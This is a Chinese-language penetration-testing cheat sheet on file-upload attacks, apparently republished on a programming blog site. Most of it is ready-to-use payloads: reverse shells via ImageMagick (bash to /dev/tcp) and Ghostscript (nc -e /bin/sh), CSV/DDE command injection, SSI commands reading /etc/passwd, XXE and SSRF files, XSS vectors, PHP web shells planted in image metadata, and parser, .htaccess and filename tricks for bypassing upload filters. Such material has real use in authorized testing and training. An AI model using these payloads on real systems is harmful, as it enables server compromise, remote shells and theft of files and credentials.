渗透测试中文件上传技巧

栏目: 后端 · 前端 · 发布时间: 5年前

内容简介:根据语言、解析漏洞、中间件、系统特性以及一些绕过WAF的方法:黑名单、大小写、ADS流、截断、空格、长度、htaccess等生存文件名字典。Gayhub:比较老了,学习下也没啥坏处

根据语言、解析漏洞、中间件、系统特性以及一些绕过WAF的方法:黑名单、大小写、ADS流、截断、空格、长度、htaccess等生存文件名字典。

Gayhub: https://github.com/c0ny1/upload-fuzz-dic-builder

上传excel文档进行CSV注入

比较老了,学习下也没啥坏处

=cmd|'/c calc'!A0
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!''
=HYPERLINK("http://vpsip?test="&A2&A3,"Error: Please click me!")

上传excel、word进行xxe

修改word、excel解压之后xml文件,加入payload

Gayhub: https://github.com/BuffaloWill/oxml_xxe

在线生成: https://buer.haus/xxegen/

上传mp4/avi利用ffmpeg文件读取/SSRF

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://xx.oo/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

上传imagemagic文件进行命令执行

push graphic-context
viewbox 0 0 640 480
fill 'url(https://oo.xx/1.jpg"|bash -i >& /dev/tcp/127.0.0.1/2233 0>&1")'
pop graphic-context

上传Ghostscript文件进行命令执行

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(nc -e /bin/sh 127.0.0.1 2333)) currentdevice putdeviceprops

上传svg文件进行ssrf

<?xm l version="1.0"encoding="UTF-8"standalone="no"?><svgxmlns:svg="http://www.w3.org/2000/svg"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="200"height="200"><imageheight="30"width="30"xlink:href="http://vps_ip.:2333/"/></svg>

上传svg文件进行xss

"><svgxmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)"/>"><svg/onload=document.write(document.location)>

上传webp后缀进行文件进行xss

容器无法处理原因,其他后缀同理

<html>
<body>
<script>alert('XSS')</script>
<embedcode="javascript:alert(1)"invokeurls="false"allownetworking="none"allowscriptaccess="never"loop="false"menu="false"play="false"type="application/x-shockwave-flash">
<IMGSRC=javascript:alert("XSS")>
</html>
</body>

上传shtml进行SSI

<html>
<body>
<embedcode="javascript:alert(1)"invokeurls="false"allownetworking="none"allowscriptaccess="never"loop="false"menu="false"play="false"type="application/x-shockwave-flash">
<!--#exec cmd="/bin/ls /" --><br/>
<!--#exec cmd="cat /etc/passwd" --><br/>
<!--#exec cmd="find / -name *.* -print" --><br/>
</html>
</body>

上传html,phtml等进行XSS

<html>
<body>
<script>alert('XSS')</script>
<embedcode="javascript:alert(1)"invokeurls="false"allownetworking="none"allowscriptaccess="never"loop="false"menu="false"play="false"type="application/x-shockwave-flash">
<IMGSRC=javascript:alert("XSS")>
</html>
</body>

对上传文件进行导出excel的地方插入payload进行csv注入

=cmd|' /C id'!A0
@cmd|'/C id'!A0

上传文件时如果转换时比如转成PDF等文件,尝试在上传文件中加入payload进行SSRF

<iframesrc="file:///etc/passwd"width=400height=400/>
<iframesrc="file:///c:/windows/win.ini"width=400height=400/>
"><svg/onload=document.write(document.location)>

文件上传时,修改正在上传中的 input type 为URL,尝试SSRF

<inputtype="file"id="upload_file"name="upload_file[]"class="file"size=1multiple="">

改成

<inputtype="url"id="upload_file"name="upload_file[]"class="file"size=1multiple="">
<?xml version="1.0"encoding="UTF-8"standalone="no"?><svgxmlns:svg="http://www.w3.org/2000/svg"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="200"height="200"><imageheight="30"width="30"xlink:href="http://vpsip:2333/"/></svg>

上传文件名XSS

<imgsrc=xonerror=alert(1)>.png
"><imgsrc=xonerror=alert(1)>.png
"><svgonmouseover=alert(1)>.svg

上传图片里面注入Code

exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
exiftool "-comment<=back.php" back.png

图片属性XSS

exiftool -Artist='"><img src=1 onerror=alert(1)>' poc.jpeg

上传文件名 SQL 注入

move_uploaded_file()上传文件时,把文件名更改为语句,可能会存在xss或者sql注入

IIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析漏洞

Nginx在默认Fast-CGI开启状况下,上传一个名字为 poc.jpg ,内容为:

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问poc.jpg/.php,在这个目录下就会生成一句话木马 shell.php

Apache解析漏洞

上传的文件命名为

test.php.x1.x2.x3 # Apache是从右往左判断后缀

Windows系统特性

在windows环境下, xx.php[空格]xx.php. 这类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,可以通过抓包,在文件名后加一个空格或者点绕过黑名单。

上传 .htaccess 文件

如果在Apache中 .htaccess 可被执行.且可被上传.那可以尝试在 .htaccess 中写入:

<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
或者
AddType application/x-httpd-php .png

Windows下利用ADS流上传文件

上传文件名为: 1.php::$data

IIS6截断

分号截断asp.asp;asp.jpg

双文件上传

filename="a.txt";filename="a.php"

JSON利用

参数中有存在json字符串,可以利用fastjson、jackson等漏洞利用

JSON数据包可以改成xml格式测试xxe漏洞

application/json 改成 application/xml

<?xml version="1.0"encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

上传PDF文件进行URL跳转

PDF->页面属性->动作->打开网络链接->添加

上传目录可控,进行文件覆盖

使用 ../ 进行目录切换

如有错误或不足,欢迎大佬不吝指正、补充。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Java程序员修炼之道

Java程序员修炼之道

[英] Benjamin J. Evans、[荷兰] Martijn Verburg / 吴海星 / 人民邮电出版社 / 2013-7 / 89.00元

本书分为四部分,第一部分全面介绍Java 7 的新特性,第二部分探讨Java 关键编程知识和技术,第三部分讨论JVM 上的新语言和多语言编程,第四部分将平台和多语言编程知识付诸实践。从介绍Java 7 的新特性入手,本书涵盖了Java 开发中最重要的技术,比如依赖注入、测试驱动的开发和持续集成,探索了JVM 上的非Java 语言,并详细讲解了多语言项目, 特别是涉及Groovy、Scala 和Cl......一起来看看 《Java程序员修炼之道》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具